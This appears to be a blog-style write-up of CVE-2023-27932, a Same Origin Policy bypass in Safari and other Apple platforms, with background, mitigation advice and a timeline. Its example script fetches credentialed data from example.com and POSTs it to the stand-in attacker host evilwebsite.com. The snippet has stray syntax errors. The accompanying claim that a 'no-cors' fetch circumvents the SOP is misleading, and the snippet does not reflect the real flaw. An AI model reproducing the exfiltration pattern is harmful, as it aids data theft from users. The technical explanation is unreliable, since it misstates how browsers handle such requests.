CVE-2023-27932 - Bypassing the Same Origin Policy through Maliciously Crafted Web Content: Improved State Management in macOS Ventura, watchOS, tvOS, Safari, iOS and iPadOS

The cybersecurity landscape is constantly evolving, and staying ahead of emerging threats is a challenge for both individuals and organizations alike. In this long read, we will be discussing an important security vulnerability, identified as CVE-2023-27932, that has been recently addressed across a range of Apple products, including macOS Ventura 13.3, watchOS 9.4, tvOS 16.4, Safari 16.4, iOS 16.4, and iPadOS 16.4.

The vulnerability relates to the processing of maliciously crafted web content, resulting in a bypass of the Same Origin Policy (SOP), a crucial security feature for modern web browsers. We'll dig into the details of the exploit, how it can be mitigated, and what this means for developers and users alike.

Background on Same Origin Policy

For those who may be unfamiliar, the Same Origin Policy is a foundational security principle implemented in web browsers that restricts web pages from accessing data or resources from other web pages unless they share the same origin (i.e., the combination of the protocol, domain, and port). This ensures that sensitive data and user information are protected from being accessed by potentially malicious websites.

Exploit Details

The CVE-2023-27932 vulnerability revolves around a weakness in the state management of the affected Apple products mentioned earlier. When exploited, this flaw allows an attacker to craft web content in a way that could bypass the Same Origin Policy, enabling unauthorized access to resources, data, and cookies associated with different origins.

As an illustrative, albeit simplified, example, consider the following code snippet

<!-- Malicious web content on evilwebsite.com -->
<script>
  fetch("https://example.com/sensitive_data";, {
    mode: "no-cors",
    credentials: "include",
  }).then((response) => {
    // Send data back to attacker's server
    fetch("https://evilwebsite.com/save_sensitive_data";, {
      method: "POST",
      body: response,
    });
  });
</script>

In this example, the attacker has embedded malicious web content on evilwebsite.com, which attempts to exploit the vulnerability and access sensitive data from example.com without proper authorization. The fetch() function with mode: "no-cors" and credentials: "include" aims to circumvent the Same Origin Policy and access data across the different origins. If successful, the retrieved sensitive data would then be sent back to the attacker's server.

Mitigation and Resolution

Apple has addressed the CVE-2023-27932 vulnerability by introducing improved state management in its latest software releases, namely macOS Ventura 13.3, watchOS 9.4, tvOS 16.4, Safari 16.4, iOS 16.4, and iPadOS 16.4. Users and developers are advised to update their software to the latest versions to mitigate the risk posed by this exploit. More details about the software updates can be found in Apple's official security release notes:

- macOS Ventura 13.3 Release Notes
- watchOS 9.4 Release Notes
- tvOS 16.4 Release Notes
- Safari 16.4 Release Notes
- iOS 16.4 and iPadOS 16.4 Release Notes

Conclusion

The CVE-2023-27932 vulnerability highlights the importance of staying up-to-date with the latest security patches and understanding the risks associated with malicious web content. By updating to the latest software versions and utilizing improved state management, users of macOS Ventura, watchOS, tvOS, Safari, iOS, and iPadOS can protect themselves from potential exploitation of this vulnerability and ensure continued adherence to the Same Origin Policy.

Timeline

Published on: 05/08/2023 20:15:00 UTC
Last modified on: 05/13/2023 02:08:00 UTC